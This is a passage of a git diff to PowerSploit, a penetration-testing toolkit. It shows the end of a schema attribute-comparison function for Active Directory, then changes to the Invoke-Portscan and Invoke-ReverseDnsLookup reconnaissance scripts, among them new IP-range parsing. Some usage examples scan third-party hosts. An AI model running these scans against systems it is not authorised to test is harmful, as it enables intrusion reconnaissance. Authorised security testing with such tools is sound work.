"mS-DS-CreatorSID", + "msDS-EnabledFeatureBL", + "msDS-FailedInteractiveLogonCount", + "msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon", + "msDS-HABSeniorityIndex", + "msDS-HostServiceAccountBL", + "msDS-IsDomainFor", + "msDS-IsFullReplicaFor", + "msDS-IsPartialReplicaFor", + "msDS-IsPrimaryComputerFor", + "msDS-KeyCredentialLink", + "msDS-KeyPrincipalBL", + "msDS-KrbTgtLinkBl", + "msDS-LastFailedInteractiveLogonTime", + "msDS-LastKnownRDN", + "msDS-LastSuccessfulInteractiveLogonTime", + "msDS-LocalEffectiveDeletionTime", + "msDS-LocalEffectiveRecycleTime", + "msDs-masteredBy", + "msds-memberOfTransitive", + "msDS-MembersForAzRoleBL", + "msDS-MembersOfResourcePropertyListBL", + "msds-memberTransitive", + "msDS-NCReplCursors", + "msDS-NCReplInboundNeighbors", + "msDS-NCReplOutboundNeighbors", + "msDS-NC-RO-Replica-Locations-BL", + "msDS-NcType", + "msDS-NonMembersBL", + "msDS-ObjectReferenceBL", + "msDS-ObjectSoa", + "msDS-OIDToGroupLinkBl", + "msDS-OperationsForAzRoleBL", + "msDS-OperationsForAzTaskBL", + "msDS-parentdistname", + "msDS-PhoneticCompanyName", + "msDS-PhoneticDepartment", + "msDS-PhoneticDisplayName", + "msDS-PhoneticFirstName", + "msDS-PhoneticLastName", + "msDS-PrimaryComputer", + "msDS-PrincipalName", + "msDS-PSOApplied", + "msDS-ReplAttributeMetaData", + "msDS-ReplValueMetaData", + "msDS-ReplValueMetaDataExt", + "msDS-ResultantPSO", + "msDS-RevealedDSAs", + "msDS-RevealedListBL", + "msDS-SecondaryKrbTgtNumber", + "msDS-Site-Affinity", + "msDS-SourceAnchor", + "msDS-SourceObjectDN", + "msDS-SupportedEncryptionTypes", + "msDS-SyncServerUrl", + "msDS-TasksForAzRoleBL", + "msDS-TasksForAzTaskBL", + "msDS-TDOEgressBL", + "msDS-TDOIngressBL", + "msDS-User-Account-Control-Computed", + "msDS-UserPasswordExpiryTimeComputed", + "msDS-ValueTypeReferenceBL", + "msExchAcceptedDomainBL", + "msExchAccountForestBL", + "msExchArchiveDatabaseBL", + "msExchAssociatedAcceptedDomainBL", + "msExchAuthPolicyBL", + "msExchAuxMailboxParentObjectIdBL", + "msExchAvailabilityOrgWideAccountBL", + "msExchAvailabilityPerUserAccountBL", + "msExchCatchAllRecipientBL", + "msExchConferenceMailboxBL", + "msExchControllingZone", + "msExchDataEncryptionPolicyBL", + "msExchDelegateListBL", + "msExchDeviceAccessControlRuleBL", + "msExchEvictedMemebersBL", + "msExchHABRootDepartmentBL", + "msExchHouseIdentifier", + "msExchHygieneConfigurationMalwareBL", + "msExchHygieneConfigurationSpamBL", + "msExchIMAPOWAURLPrefixOverride", + "msExchIntendedMailboxPlanBL", + "msExchMailboxMoveSourceArchiveMDBBL", + "msExchMailboxMoveSourceMDBBL", + "msExchMailboxMoveSourceUserBL", + "msExchMailboxMoveStorageMDBBL", + "msExchMailboxMoveTargetArchiveMDBBL", + "msExchMailboxMoveTargetMDBBL", + "msExchMailboxMoveTargetUserBL", + "msExchMDBAvailabilityGroupConfigurationBL", + "msExchMobileRemoteDocumentsAllowedServersBL", + "msExchMobileRemoteDocumentsBlockedServersBL", + "msExchMobileRemoteDocumentsInternalDomainSuffixListBL", + "msExchMultiMailboxDatabasesBL", + "msExchMultiMailboxLocationsBL", + "msExchOABGeneratingMailboxBL", + "msExchOrganizationsAddressBookRootsBL", + "msExchOrganizationsGlobalAddressListsBL", + "msExchOrganizationsTemplateRootsBL", + "msExchOriginatingForest", + "msExchOWAAllowedFileTypesBL", + "msExchOWAAllowedMimeTypesBL", + "msExchOWABlockedFileTypesBL", + "msExchOWABlockedMIMETypesBL", + "msExchOWAForceSaveFileTypesBL", + "msExchOWAForceSaveMIMETypesBL", + "msExchOWARemoteDocumentsAllowedServersBL", + "msExchOWARemoteDocumentsBlockedServersBL", + "msExchOWARemoteDocumentsInternalDomainSuffixListBL", + "msExchOWATranscodingFileTypesBL", + "msExchOWATranscodingMimeTypesBL", + "msExchParentPlanBL", + "msExchQueryBaseDN", + "msExchRBACPolicyBL", + "msExchResourceGUID", + "msExchResourceProperties", + "msExchRMSComputerAccountsBL", + "msExchServerAssociationBL", + "msExchServerSiteBL", + "msExchSMTPReceiveDefaultAcceptedDomainBL", + "msExchSupervisionDLBL", + "msExchSupervisionOneOffBL", + "msExchSupervisionUserBL", + "msExchTransportRuleTargetBL", + "msExchTrustedDomainBL", + "msExchUGMemberBL", + "msExchUserBL", + "msExchUserCulture", + "msIIS-FTPDir", + "msIIS-FTPRoot", + "mSMQDigests", + "mSMQDigestsMig", + "mSMQSignCertificates", + "mSMQSignCertificatesMig", + "msNPAllowDialin", + "msNPCallingStationID", + "msNPSavedCallingStationID", + "msOrg-LeadersBL", + "msPKIAccountCredentials", + "msPKI-CredentialRoamingTokens", + "msPKIDPAPIMasterKeys", + "msPKIRoamingTimeStamp", + "msRADIUSCallbackNumber", + "msRADIUS-FramedInterfaceId", + "msRADIUSFramedIPAddress", + "msRADIUS-FramedIpv6Prefix", + "msRADIUS-FramedIpv6Route", + "msRADIUSFramedRoute", + "msRADIUS-SavedFramedInterfaceId", + "msRADIUS-SavedFramedIpv6Prefix", + "msRADIUS-SavedFramedIpv6Route", + "msRADIUSServiceType", + "msRASSavedCallbackNumber", + "msRASSavedFramedIPAddress", + "msRASSavedFramedRoute", + "msRTCSIP-AcpInfo", + "msRTCSIP-ApplicationOptions", + "msRTCSIP-ArchivingEnabled", + "msRTCSIP-DeploymentLocator", + "msRTCSIP-FederationEnabled", + "msRTCSIP-GroupingID", + "msRTCSIP-InternetAccessEnabled", + "msRTCSIP-Line", + "msRTCSIP-LineServer", + "msRTCSIP-OptionFlags", + "msRTCSIP-OriginatorSid", + "msRTCSIP-OwnerUrn", + "msRTCSIP-PrimaryHomeServer", + "msRTCSIP-PrimaryUserAddress", + "msRTCSIP-PrivateLine", + "msRTCSIP-TargetHomeServer", + "msRTCSIP-TargetUserPolicies", + "msRTCSIP-TenantId", + "msRTCSIP-UserEnabled", + "msRTCSIP-UserExtension", + "msRTCSIP-UserLocationProfile", + "msRTCSIP-UserPolicies", + "msRTCSIP-UserPolicy", + "msRTCSIP-UserRoutingGroupId", + "msSFU30Name", + "msSFU30NisDomain", + "msSFU30PosixMemberOf", + "msTSAllowLogon", + "msTSBrokenConnectionAction", + "msTSConnectClientDrives", + "msTSConnectPrinterDrives", + "msTSDefaultToMainPrinter", + "msTSExpireDate", + "msTSExpireDate2", + "msTSExpireDate3", + "msTSExpireDate4", + "msTSHomeDirectory", + "msTSHomeDrive", + "msTSInitialProgram", + "msTSLicenseVersion", + "msTSLicenseVersion2", + "msTSLicenseVersion3", + "msTSLicenseVersion4", + "msTSLSProperty01", + "msTSLSProperty02", + "msTSManagingLS", + "msTSManagingLS2", + "msTSManagingLS3", + "msTSManagingLS4", + "msTSMaxConnectionTime", + "msTSMaxDisconnectionTime", + "msTSMaxIdleTime", + "msTSPrimaryDesktop", + "msTSProfilePath", + "msTSProperty01", + "msTSProperty02", + "msTSReconnectionAction", + "msTSRemoteControl", + "msTSSecondaryDesktops", + "msTSWorkDirectory", + "name", + "netbootSCPBL", + "networkAddress", + "nonSecurityMemberBL", + "ntPwdHistory", + "nTSecurityDescriptor", + "o", + "objectCategory", + "objectClass", + "objectGUID", + "objectVersion", + "operatorCount", + "otherFacsimileTelephoneNumber", + "otherHomePhone", + "otherIpPhone", + "otherLoginWorkstations", + "otherMailbox", + "otherMobile", + "otherPager", + "otherTelephone", + "otherWellKnownObjects", + "ou", + "ownerBL", + "pager", + "partialAttributeDeletionList", + "partialAttributeSet", + "personalPager", + "personalTitle", + "photo", + "physicalDeliveryOfficeName", + "possibleInferiors", + "postalAddress", + "postalCode", + "postOfficeBox", + "preferredDeliveryMethod", + "preferredLanguage", + "preferredOU", + "primaryGroupID", + "primaryInternationalISDNNumber", + "primaryTelexNumber", + "profilePath", + "proxiedObjectName", + "proxyAddresses", + "pwdLastSet", + "queryPolicyBL", + "registeredAddress", + "replPropertyMetaData", + "replUpToDateVector", + "repsFrom", + "repsTo", + "revision", + "roomNumber", + "scriptPath", + "sDRightsEffective", + "secretary", + "seeAlso", + "serialNumber", + "serverReferenceBL", + "servicePrincipalName", + "showInAdvancedViewOnly", + "siteObjectBL", + "sn", + "st", + "street", + "streetAddress", + "structuralObjectClass", + "subRefs", + "subSchemaSubEntry", + "systemFlags", + "telephoneAssistant", + "telephoneNumber", + "teletexTerminalIdentifier", + "telexNumber", + "terminalServer", + "thumbnailLogo", + "thumbnailPhoto", + "title", + "uid", + "unicodePwd", + "url", + "userAccountControl", + "userCertificate", + "userParameters", + "userPassword", + "userPKCS12", + "userPrincipalName", + "userSharedFolder", + "userSharedFolderOther", + "userSMIMECertificate", + "userWorkstations", + "uSNChanged", + "uSNCreated", + "uSNDSALastObjRemoved", + "USNIntersite", + "uSNLastObjRem", + "uSNSource", + "wbemPath", + "wellKnownObjects", + "whenChanged", + "whenCreated", + "wWWHomePage", + "x121Address", + "x500uniqueIdentifier" + ) + $Compare = Compare-Object -ReferenceObject $UserAttributelist -DifferenceObject $UserAttributeListFromAD + Write-Output $Compare + } + + if($Class -eq "computer"){ + $ComputerAttributeListFromAD = Get-AllAttributesForClass -Class computer + + $ComputerAttributeList = @( + "accountExpires", + "aCSPolicyName", + "adminCount", + "adminDescription", + "adminDisplayName", + "allowedAttributes", + "allowedAttributesEffective", + "allowedChildClasses", + "allowedChildClassesEffective", + "assistant", + "attributeCertificateAttribute", + "audio", + "badPasswordTime", + "badPwdCount", + "bridgeheadServerListBL", + "businessCategory", + "businessRoles", + "c", + "canonicalName", + "carLicense", + "catalogs", + "cn", + "co", + "codePage", + "comment", + "company", + "controlAccessRights", + "countryCode", + "createTimeStamp", + "dBCSPwd", + "defaultClassStore", + "defaultLocalPolicyObject", + "department", + "departmentNumber", + "description", + "desktopProfile", + "destinationIndicator", + "directReports", + "displayName", + "displayNamePrintable", + "distinguishedName", + "division", + "dNSHostName", + "dSASignature", + "dSCorePropagationData", + "dynamicLDAPServer", + "employeeID", + "employeeNumber", + "employeeType", + "extensionName", + "facsimileTelephoneNumber", + "flags", + "fromEntry", + "frsComputerReferenceBL", + "fRSMemberReferenceBL", + "fSMORoleOwner", + "generationQualifier", + "givenName", + "groupMembershipSAM", + "groupPriority", + "groupsToIgnore", + "homeDirectory", + "homeDrive", + "homePhone", + "homePostalAddress", + "houseIdentifier", + "initials", + "instanceType", + "internationalISDNNumber", + "ipPhone", + "isCriticalSystemObject", + "isDeleted", + "isPrivilegeHolder", + "isRecycled", + "jpegPhoto", + "kMServer", + "l", + "labeledURI", + "lastKnownParent", + "lastLogoff", + "lastLogon", + "lastLogonTimestamp", + "lmPwdHistory", + "localeID", + "localPolicyFlags", + "location", + "lockoutTime", + "logonCount", + "logonHours", + "logonWorkstation", + "logRolloverInterval", + "machineRole", + "mail", + "managedBy", + "managedObjects", + "manager", + "masteredBy", + "maxStorage", + "memberOf", + "mhsORAddress", + "middleName", + "mobile", + "modifyTimeStamp", + "monitoredConfigurations", + "monitoredServices", + "monitoringAvailabilityStyle", + "monitoringAvailabilityWindow", + "monitoringCachedViaMail", + "monitoringCachedViaRPC", + "monitoringMailUpdateInterval", + "monitoringMailUpdateUnits", + "monitoringRPCUpdateInterval", + "monitoringRPCUpdateUnits", + "msCOM-PartitionSetLink", + "msCOM-UserLink", + "msCOM-UserPartitionSetLink", + "msDFSR-ComputerReferenceBL", + "msDFSR-MemberReferenceBL", + "msDRM-IdentityCertificate", + "msDS-AdditionalDnsHostName", + "msDS-AdditionalSamAccountName", + "msDS-AllowedToActOnBehalfOfOtherIdentity", + "msDS-AllowedToDelegateTo", + "msDS-Approx-Immed-Subordinates", + "msDS-AssignedAuthNPolicy", + "msDS-AssignedAuthNPolicySilo", + "msDS-AuthenticatedAtDC", + "msDS-AuthenticatedToAccountlist", + "msDS-AuthNPolicySiloMembersBL", + "msDS-Cached-Membership", + "msDS-Cached-Membership-Time-Stamp", + "msDS-ClaimSharesPossibleValuesWithBL", + "msDS-CloudAnchor", + "mS-DS-ConsistencyChildCount", + "mS-DS-ConsistencyGuid", + "mS-DS-CreatorSID", + "msDS-EnabledFeatureBL", + "msDS-ExecuteScriptPassword", + "msDS-FailedInteractiveLogonCount", + "msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon", + "msDS-GenerationId", + "msDS-HABSeniorityIndex", + "msDS-HostServiceAccount", + "msDS-HostServiceAccountBL", + "msDS-IsDomainFor", + "msDS-IsFullReplicaFor", + "msDS-isGC", + "msDS-IsPartialReplicaFor", + "msDS-IsPrimaryComputerFor", + "msDS-isRODC", + "msDS-IsUserCachableAtRodc", + "msDS-KeyCredentialLink", + "msDS-KeyPrincipalBL", + "msDS-KrbTgtLink", + "msDS-KrbTgtLinkBl", + "msDS-LastFailedInteractiveLogonTime", + "msDS-LastKnownRDN", + "msDS-LastSuccessfulInteractiveLogonTime", + "msDS-LocalEffectiveDeletionTime", + "msDS-LocalEffectiveRecycleTime", + "msDs-masteredBy", + "msds-memberOfTransitive", + "msDS-MembersForAzRoleBL", + "msDS-MembersOfResourcePropertyListBL", + "msds-memberTransitive", + "msDS-NCReplCursors", + "msDS-NCReplInboundNeighbors", + "msDS-NCReplOutboundNeighbors", + "msDS-NC-RO-Replica-Locations-BL", + "msDS-NcType", + "msDS-NeverRevealGroup", + "msDS-NonMembersBL", + "msDS-ObjectReferenceBL", + "msDS-ObjectSoa", + "msDS-OIDToGroupLinkBl", + "msDS-OperationsForAzRoleBL", + "msDS-OperationsForAzTaskBL", + "msDS-parentdistname", + "msDS-PhoneticCompanyName", + "msDS-PhoneticDepartment", + "msDS-PhoneticDisplayName", + "msDS-PhoneticFirstName", + "msDS-PhoneticLastName", + "msDS-PrimaryComputer", + "msDS-PrincipalName", + "msDS-PromotionSettings", + "msDS-PSOApplied", + "msDS-ReplAttributeMetaData", + "msDS-ReplValueMetaData", + "msDS-ReplValueMetaDataExt", + "msDS-ResultantPSO", + "msDS-RevealedDSAs", + "msDS-RevealedList", + "msDS-RevealedListBL", + "msDS-RevealedUsers", + "msDS-RevealOnDemandGroup", + "msDS-SecondaryKrbTgtNumber", + "msDS-Site-Affinity", + "msDS-SiteName", + "msDS-SourceAnchor", + "msDS-SourceObjectDN", + "msDS-SupportedEncryptionTypes", + "msDS-SyncServerUrl", + "msDS-TasksForAzRoleBL", + "msDS-TasksForAzTaskBL", + "msDS-TDOEgressBL", + "msDS-TDOIngressBL", + "msDS-User-Account-Control-Computed", + "msDS-UserPasswordExpiryTimeComputed", + "msDS-ValueTypeReferenceBL", + "msExchAcceptedDomainBL", + "msExchAccountForestBL", + "msExchArchiveDatabaseBL", + "msExchAssociatedAcceptedDomainBL", + "msExchAuthPolicyBL", + "msExchAuxMailboxParentObjectIdBL", + "msExchAvailabilityOrgWideAccountBL", + "msExchAvailabilityPerUserAccountBL", + "msExchCatchAllRecipientBL", + "msExchComponentStates", + "msExchConferenceMailboxBL", + "msExchControllingZone", + "msExchDataEncryptionPolicyBL", + "msExchDelegateListBL", + "msExchDeviceAccessControlRuleBL", + "msExchEvictedMemebersBL", + "msExchExchangeServerLink", + "msExchHABRootDepartmentBL", + "msExchHouseIdentifier", + "msExchHygieneConfigurationMalwareBL", + "msExchHygieneConfigurationSpamBL", + "msExchIMAPOWAURLPrefixOverride", + "msExchIntendedMailboxPlanBL", + "msExchMailboxMoveSourceArchiveMDBBL", + "msExchMailboxMoveSourceMDBBL", + "msExchMailboxMoveSourceUserBL", + "msExchMailboxMoveStorageMDBBL", + "msExchMailboxMoveTargetArchiveMDBBL", + "msExchMailboxMoveTargetMDBBL", + "msExchMailboxMoveTargetUserBL", + "msExchMDBAvailabilityGroupConfigurationBL", + "msExchMobileRemoteDocumentsAllowedServersBL", + "msExchMobileRemoteDocumentsBlockedServersBL", + "msExchMobileRemoteDocumentsInternalDomainSuffixListBL", + "msExchMultiMailboxDatabasesBL", + "msExchMultiMailboxLocationsBL", + "msExchOABGeneratingMailboxBL", + "msExchOrganizationsAddressBookRootsBL", + "msExchOrganizationsGlobalAddressListsBL", + "msExchOrganizationsTemplateRootsBL", + "msExchOriginatingForest", + "msExchOWAAllowedFileTypesBL", + "msExchOWAAllowedMimeTypesBL", + "msExchOWABlockedFileTypesBL", + "msExchOWABlockedMIMETypesBL", + "msExchOWAForceSaveFileTypesBL", + "msExchOWAForceSaveMIMETypesBL", + "msExchOWARemoteDocumentsAllowedServersBL", + "msExchOWARemoteDocumentsBlockedServersBL", + "msExchOWARemoteDocumentsInternalDomainSuffixListBL", + "msExchOWATranscodingFileTypesBL", + "msExchOWATranscodingMimeTypesBL", + "msExchParentPlanBL", + "msExchPolicyList", + "msExchPolicyOptionList", + "msExchQueryBaseDN", + "msExchRBACPolicyBL", + "msExchResourceGUID", + "msExchResourceProperties", + "msExchRMSComputerAccountsBL", + "msExchServerAssociationBL", + "msExchServerSiteBL", + "msExchSMTPReceiveDefaultAcceptedDomainBL", + "msExchSupervisionDLBL", + "msExchSupervisionOneOffBL", + "msExchSupervisionUserBL", + "msExchTransportRuleTargetBL", + "msExchTrustedDomainBL", + "msExchUGMemberBL", + "msExchUserBL", + "msExchUserCulture", + "msIIS-FTPDir", + "msIIS-FTPRoot", + "msImaging-HashAlgorithm", + "msImaging-ThumbprintHash", + "mSMQDigests", + "mSMQDigestsMig", + "mSMQSignCertificates", + "mSMQSignCertificatesMig", + "msNPAllowDialin", + "msNPCallingStationID", + "msNPSavedCallingStationID", + "msOrg-LeadersBL", + "msPKIAccountCredentials", + "msPKI-CredentialRoamingTokens", + "msPKIDPAPIMasterKeys", + "msPKIRoamingTimeStamp", + "msRADIUSCallbackNumber", + "msRADIUS-FramedInterfaceId", + "msRADIUSFramedIPAddress", + "msRADIUS-FramedIpv6Prefix", + "msRADIUS-FramedIpv6Route", + "msRADIUSFramedRoute", + "msRADIUS-SavedFramedInterfaceId", + "msRADIUS-SavedFramedIpv6Prefix", + "msRADIUS-SavedFramedIpv6Route", + "msRADIUSServiceType", + "msRASSavedCallbackNumber", + "msRASSavedFramedIPAddress", + "msRASSavedFramedRoute", + "msRTCSIP-AcpInfo", + "msRTCSIP-ApplicationOptions", + "msRTCSIP-ArchivingEnabled", + "msRTCSIP-DeploymentLocator", + "msRTCSIP-FederationEnabled", + "msRTCSIP-GroupingID", + "msRTCSIP-InternetAccessEnabled", + "msRTCSIP-Line", + "msRTCSIP-LineServer", + "msRTCSIP-OptionFlags", + "msRTCSIP-OriginatorSid", + "msRTCSIP-OwnerUrn", + "msRTCSIP-PrimaryHomeServer", + "msRTCSIP-PrimaryUserAddress", + "msRTCSIP-PrivateLine", + "msRTCSIP-TargetHomeServer", + "msRTCSIP-TargetUserPolicies", + "msRTCSIP-TenantId", + "msRTCSIP-UserEnabled", + "msRTCSIP-UserExtension", + "msRTCSIP-UserLocationProfile", + "msRTCSIP-UserPolicies", + "msRTCSIP-UserPolicy", + "msRTCSIP-UserRoutingGroupId", + "msSFU30Aliases", + "msSFU30Name", + "msSFU30NisDomain", + "msSFU30PosixMemberOf", + "msTPM-OwnerInformation", + "msTPM-TpmInformationForComputer", + "msTSAllowLogon", + "msTSBrokenConnectionAction", + "msTSConnectClientDrives", + "msTSConnectPrinterDrives", + "msTSDefaultToMainPrinter", + "msTSEndpointData", + "msTSEndpointPlugin", + "msTSEndpointType", + "msTSExpireDate", + "msTSExpireDate2", + "msTSExpireDate3", + "msTSExpireDate4", + "msTSHomeDirectory", + "msTSHomeDrive", + "msTSInitialProgram", + "msTSLicenseVersion", + "msTSLicenseVersion2", + "msTSLicenseVersion3", + "msTSLicenseVersion4", + "msTSLSProperty01", + "msTSLSProperty02", + "msTSManagingLS", + "msTSManagingLS2", + "msTSManagingLS3", + "msTSManagingLS4", + "msTSMaxConnectionTime", + "msTSMaxDisconnectionTime", + "msTSMaxIdleTime", + "msTSPrimaryDesktop", + "msTSPrimaryDesktopBL", + "msTSProfilePath", + "msTSProperty01", + "msTSProperty02", + "msTSReconnectionAction", + "msTSRemoteControl", + "msTSSecondaryDesktopBL", + "msTSSecondaryDesktops", + "msTSWorkDirectory", + "name", + "netbootDUID", + "netbootGUID", + "netbootInitialization", + "netbootMachineFilePath", + "netbootMirrorDataFile", + "netbootSCPBL", + "netbootSIFFile", + "networkAddress", + "nisMapName", + "nonSecurityMemberBL", + "ntPwdHistory", + "nTSecurityDescriptor", + "o", + "objectCategory", + "objectClass", + "objectGUID", + "objectVersion", + "operatingSystem", + "operatingSystemHotfix", + "operatingSystemServicePack", + "operatingSystemVersion", + "operatorCount", + "otherFacsimileTelephoneNumber", + "otherHomePhone", + "otherIpPhone", + "otherLoginWorkstations", + "otherMailbox", + "otherMobile", + "otherPager", + "otherTelephone", + "otherWellKnownObjects", + "ou", + "ownerBL", + "pager", + "partialAttributeDeletionList", + "partialAttributeSet", + "personalPager", + "personalTitle", + "photo", + "physicalDeliveryOfficeName", + "physicalLocationObject", + "policyReplicationFlags", + "possibleInferiors", + "postalAddress", + "postalCode", + "postOfficeBox", + "preferredDeliveryMethod", + "preferredLanguage", + "preferredOU", + "primaryGroupID", + "primaryInternationalISDNNumber", + "primaryTelexNumber", + "profilePath", + "promoExpiration", + "proxiedObjectName", + "proxyAddresses", + "pwdLastSet", + "queryPolicyBL", + "registeredAddress", + "replPropertyMetaData", + "replUpToDateVector", + "repsFrom", + "repsTo", + "revision", + "rIDSetReferences", + "roomNumber", + "scriptPath", + "sDRightsEffective", + "secretary", + "securityProtocol", + "seeAlso", + "serialNumber", + "serverReferenceBL", + "servicePrincipalName", + "showInAdvancedViewOnly", + "siteGUID", + "siteObjectBL", + "sn", + "st", + "street", + "streetAddress", + "structuralObjectClass", + "subRefs", + "subSchemaSubEntry", + "systemFlags", + "telephoneAssistant", + "telephoneNumber", + "teletexTerminalIdentifier", + "telexNumber", + "terminalServer", + "thumbnailLogo", + "thumbnailPhoto", + "title", + "trackingLogPathName", + "type", + "uid", + "unicodePwd", + "url", + "userAccountControl", + "userCertificate", + "userParameters", + "userPassword", + "userPKCS12", + "userPrincipalName", + "userSharedFolder", + "userSharedFolderOther", + "userSMIMECertificate", + "userWorkstations", + "uSNChanged", + "uSNCreated", + "uSNDSALastObjRemoved", + "USNIntersite", + "uSNLastObjRem", + "uSNSource", + "volumeCount", + "wbemPath", + "wellKnownObjects", + "whenChanged", + "whenCreated", + "wWWHomePage", + "x121Address", + "x500uniqueIdentifier" + ) + $Compare = Compare-Object -ReferenceObject $ComputerAttributeList -DifferenceObject $ComputerAttributeListFromAD + Write-Output $Compare + } + } +} + \ No newline at end of file diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 index 46a5337a..ce76088e 100644 --- a/Recon/Invoke-Portscan.ps1 +++ b/Recon/Invoke-Portscan.ps1 @@ -1,24 +1,20 @@ -function Invoke-Portscan +function Invoke-Portscan { <# .SYNOPSIS Simple portscan module -PowerSploit Function: Invoke-Portscan -Author: Rich Lundeen (http://webstersProdigy.net) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Invoke-Portscan +Author: Rich Lundeen (http://webstersProdigy.net) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION Does a simple port scan using regular sockets, based (pretty) loosely on nmap -.NOTES - -version .13 - .PARAMETER Hosts Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in @@ -118,7 +114,7 @@ Force Overwrite if output Files exist. Otherwise it throws exception .EXAMPLE -C:\PS> Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50 +Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50 Description ----------- @@ -126,7 +122,7 @@ Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and m .EXAMPLE -C:\PS> echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080" +echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080" Description ----------- @@ -134,7 +130,7 @@ Does a portscan of "webstersprodigy.net", and writes a greppable output file .EXAMPLE -C:\PS> Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet +Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet Description ----------- @@ -145,7 +141,13 @@ Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all http://webstersprodigy.net #> - [CmdletBinding()]Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseLiteralInitializerForHashtable', '')] + [CmdletBinding()] + Param ( #Host, Ports [Parameter(ParameterSetName="cmdHosts", @@ -260,6 +262,8 @@ http://webstersprodigy.net [String[]] $iHosts = $Hosts.Split(",") + $IPRangeRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" + foreach($iHost in $iHosts) { $iHost = $iHost.Replace(" ", "") @@ -313,6 +317,65 @@ http://webstersprodigy.net } + } + + if($iHost -match $IPRangeRegex) + { + + $iHostPart1 = ($iHost.Split("-"))[0] + $iHostPart2 = ($iHost.Split("-"))[1] + + $LowerBound = $iHostPart1.Split(".") + $UpperBound = $iHostPart2.Split(".") + + $LowerBoundInt = ($LowerBound[0].ToInt32($null),$LowerBound[1].ToInt32($null),$LowerBound[2].ToInt32($null),$LowerBound[3].ToInt32($null)) + $UpperBoundInt = ($UpperBound[0].ToInt32($null),$UpperBound[1].ToInt32($null),$UpperBound[2].ToInt32($null),$UpperBound[3].ToInt32($null)) + + $CurrentIP = $LowerBoundInt + $CurrentIPString = $null + $ControlArray = @(0,0,0,0) + + $null = $hostList.Add($iHostPart1) + + while($CurrentIPString -ne $iHostPart2) + { + for($i=0;$i -lt 4;$i++) + { + + if(($CurrentIP[$i] -eq $UpperBoundInt[$i]) -and (($i -eq 0) -or $ControlArray[$i-1] -eq 1)) + { + $ControlArray[$i] = 1 + continue + } + else + { + + $Max = 254 + if(($i -ne 0) -and ($ControlArray[$i-1] -eq 1)) + { + $Max = $UpperBoundInt[$i] + } + + if(($i -ne 3) -and ($CurrentIP[$i+1] -eq 254)) + { + $CurrentIP[$i]++ + $CurrentIP[$i+1]=0 + + $CurrentIPString = ($CurrentIP[0].ToString() + "." + $CurrentIP[1].ToString() + "." + $CurrentIP[2].ToString() + "." + $CurrentIP[3].ToString()) + $null = $hostList.Add($CurrentIPString) + } + + if(($i -eq 3) -and ($CurrentIP[$i] -lt $Max)) + { + $CurrentIP[$i]++ + + $CurrentIPString = ($CurrentIP[0].ToString() + "." + $CurrentIP[1].ToString() + "." + $CurrentIP[2].ToString() + "." + $CurrentIP[3].ToString()) + $null = $hostList.Add($CurrentIPString) + } + } + } + } + } else { @@ -647,14 +710,14 @@ http://webstersprodigy.net [Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath - if ($Hosts) + if ($PsCmdlet.ParameterSetName -eq "cmdHosts") { foreach($h in $Hosts) { Parse-Hosts($h) | Out-Null } } - elseif ($HostFile) + else { Parse-ILHosts($HostFile) | Out-Null } @@ -752,9 +815,9 @@ http://webstersprodigy.net #TODO deal with output Write-PortscanOut -comment $startMsg -grepStream $grepStream -xmlStream $xmlStream -readableStream $readableStream - #converting back from int array gives some argument error checking - $sPortList = [string]::join(",", $portList) - $sHostPortList = [string]::join(",", $hostPortList) + # #converting back from int array gives some argument error checking + # $sPortList = [string]::join(",", $portList) + # $sHostPortList = [string]::join(",", $hostPortList) ######## #Port Scan Code - run on a per host basis @@ -844,7 +907,6 @@ http://webstersprodigy.net $sockets[$p] = new-object System.Net.Sockets.TcpClient } - $scriptBlockAsString = @" #somewhat of a race condition with the timeout, but I don't think it matters @@ -889,8 +951,7 @@ http://webstersprodigy.net $timeouts[$p].Enabled = $true $myscriptblock = [scriptblock]::Create($scriptBlockAsString) - $x = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null) - + $Null = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null) } function PortScan-Alive diff --git a/Recon/Invoke-ReverseDnsLookup.ps1 b/Recon/Invoke-ReverseDnsLookup.ps1 index 1346ae6d..36e63987 100644 --- a/Recon/Invoke-ReverseDnsLookup.ps1 +++ b/Recon/Invoke-ReverseDnsLookup.ps1 @@ -5,23 +5,23 @@ function Invoke-ReverseDnsLookup Perform a reverse DNS lookup scan on a range of IP addresses. -PowerSploit Function: Invoke-ReverseDnsLookup -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Invoke-ReverseDnsLookup +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION -Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaisance prior to conducting an authorized penetration test. - +Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test. + .PARAMETER IPRange Specifies the IP address range. The range provided can be in the form of a single IP address, a 